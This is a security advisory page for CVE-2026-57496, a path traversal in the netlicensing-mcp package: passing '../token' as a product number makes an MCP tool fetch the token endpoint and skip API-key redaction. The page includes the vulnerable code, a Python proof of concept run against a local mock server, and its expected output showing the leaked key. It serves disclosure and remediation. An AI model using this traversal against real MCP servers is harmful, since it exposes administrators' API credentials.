netlicensing-mcp: REST Path Traversal Bypasses Token Redaction
CVE-2026-57496 · GHSA-hxpf-9xvq-wph8 · published 18 Jun 2026
How serious is it
- Severity: critical, CVSS score 9.6 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-57496?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
netlicensing-mcp(PyPI) < 0.1.8
How to check
- Run
pip show netlicensing-mcpin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
netlicensing-mcpto 0.1.8 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
The `netlicensing_get_product` MCP tool in `netlicensing-mcp` interpolates a caller-controlled `product_number` argument directly into a REST URL path without any validation. Passing `../token` as the product number causes `httpx` to normalize `/product/../token` into `/token`, silently redirecting the request to the NetLicensing token endpoint instead of the intended product endpoint. The response is then serialized through the generic `_wrap_json` wrapper rather than the token-specific `_wrap_json_token_read` wrapper, bypassing all APIKEY `number` and SHOP `shopURL` redaction. An authenticated MCP client can recover plaintext API key values that the token read tools intentionally mask, including admin-level APIKEY credentials.
### Details
The vulnerability is a path traversal (CWE-22) that exploits the interaction between unsanitized string interpolation and `httpx`'s WHATWG URL normalization.
**Source — `src/netlicensing_mcp/tools/products.py:22`**
```python
async def get_product(product_number: str) -> dict:
"""Get a single product by its number."""
return strip_output_fields(await nl_get(f"/product/{product_number}"))
```
`product_number` is inserted directly into the REST path with no validation. A value of `../token` produces the path `/product/../token`.
**Sink — `src/netlicensing_mcp/client.py:143`**
```python
async def nl_get(path: str, params: dict[str, str] | None = None) -> dict[str, Any]:
client = _get_client()
url = f"{BASE_URL}{path}"
...
r = await client.get(url, headers=_headers(), params=params or {})
```
`httpx` constructs the full URL as `{BASE_URL}/product/../token` and, per WHATWG URL normalization rules applied to absolute URLs, resolves it to `{BASE_URL}/token`. The HTTP request is therefore sent to the NetLicensing `/core/v2/rest/token` endpoint.
**Redaction bypass — `src/netlicensing_mcp/server.py:336` and `src/netlicensing_mcp/redaction.py:180-239`**
The tool handler wraps the response via `_wrap_json(entity, "Product")`, which calls only the generic `_json()` redaction. The token-specific path `_wrap_json_token_read()` → `redact_token_read()` is never invoked. The function `redact_token_read()` at `redaction.py:180-239` is the only code that masks APIKEY `number` and SHOP `shopURL` fields; because it is not on this code path, the raw API key value is returned verbatim in the MCP tool output.
**Complete data flow:**
1. `server.py:312-321` — MCP dispatcher receives attacker-controlled `product_number` and calls `products.get_product(product_number)`.
2. `tools/products.py:22` — value interpolated into `f"/product/{product_number}"` without validation.
3. `client.py:143` — `url = f"{BASE_URL}{path}"`; `httpx` normalizes `../` and sends request to `/token` endpoint.
4. `server.py:336` — response wrapped as `"Product"` via `_wrap_json`, not `_wrap_json_token_read`.
5. `server.py:160-165` — generic `_json()` redaction applies only default-field masking.
6. `redaction.py:180-239` — `redact_token_read()` with APIKEY/SHOP-specific masking is never reached.
### PoC
**Prerequisites**
- Python 3.10+
- `netlicensing-mcp` 0.1.5 (or local commit `c8a3fec`) installed or available via `PYTHONPATH`
- `httpx`, `python-dotenv`, `mcp[cli]` installed
**Option A — Docker (recommended, reproduces Phase 2 result)**
```bash
# Build from the repository root (requires repo/ and vuln-001/ directories)
docker build -t netlicensing-vuln-001 \
-f vuln-001/Dockerfile \
reports/pypiAi_1561_Labs64__NetLicensing-MCP/
# Run — exit code 0 confirms the vulnerability
docker run --rm netlicensing-vuln-001
```
**Option B — Direct Python**
```bash
cd /path/to/Labs64__NetLicensing-MCP
PYTHONPATH=src python3 - <<'PY'
import asyncio, json, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
seen = []
secret = "actual-api-key-value-5678"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
seen.append(self.path)
if self.path.endswith("/token"):
body = {"items":{"item":[{"type":"Token","property":[
{"name":"number","value":secret},
{"name":"tokenType","value":"APIKEY"},
{"name":"role","value":"ROLE_APIKEY_ADMIN"},
{"name":"active","value":"true"}
]}]}}
data = json.dumps(body).encode()
self.send_response(200)
self.send_header("Content-Type","application/json")
self.send_header("Content-Length",str(len(data)))
self.end_headers()
self.wfile.write(data)
else:
self.send_response(404); self.end_headers()
def log_message(self, *args): pass
srv = HTTPServer(("127.0.0.1", 0), Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
async def main():
import netlicensing_mcp.client as c
c.BASE_URL = f"http://127.0.0.1:{srv.server_port}/core/v2/rest"
tok = c.api_key_ctx.set("dummy")
try:
from netlicensing_mcp.server import netlicensing_get_product
out = await netlicensing_get_product("../token")
print("UPSTREAM_PATH=" + seen[0])
print("SECRET_LEAKED=" + str(secret in out))
print(out)
finally:
c.api_key_ctx.reset(tok)
await c.close_client()
srv.shutdown()
asyncio.run(main())
PY
```
**Expected output**
```text
UPSTREAM_PATH=/core/v2/rest/token
PATH_TRAVERSAL_OK=True
SECRET_LEAKED=True
=== MCP tool output (netlicensing_get_product('../token')) ===
{
"number": "actual-api-key-value-5678",
"tokenType": "APIKEY",
"role": "ROLE_APIKEY_ADMIN",
"active": true,
"type": "Token",
"console_url": "https://ui.netlicensing.io/#/tokens/actual-api-key-value-5678",
"warnings": [],
"suggested_actions": []
}
[PASS] VULN-001 CONFIRMED: path traversal reached /token endpoint and plaintext secret 'actual-api-key-value-5678' is present in MCP output
```
The `number` field contains the raw API key value and `console_url` embeds it in plain…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/Labs64/NetLicensing-MCP/security/advisories/GHSA-hxpf-9xvq-wph8
- nvd.nist.gov/vuln/detail/CVE-2026-57496
- github.com/Labs64/NetLicensing-MCP/pull/6
- github.com/Labs64/NetLicensing-MCP/commit/b8fd0ea76d533202573eb24add9fb2fbd9331496
- github.com/Labs64/NetLicensing-MCP/releases/tag/0.1.8
- github.com/pypa/advisory-database/tree/main/vulns/netlicensing-mcp/PYSEC-2026-3489.yaml
- github.com/advisories/GHSA-hxpf-9xvq-wph8
Merged from GitHub Advisory Database. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON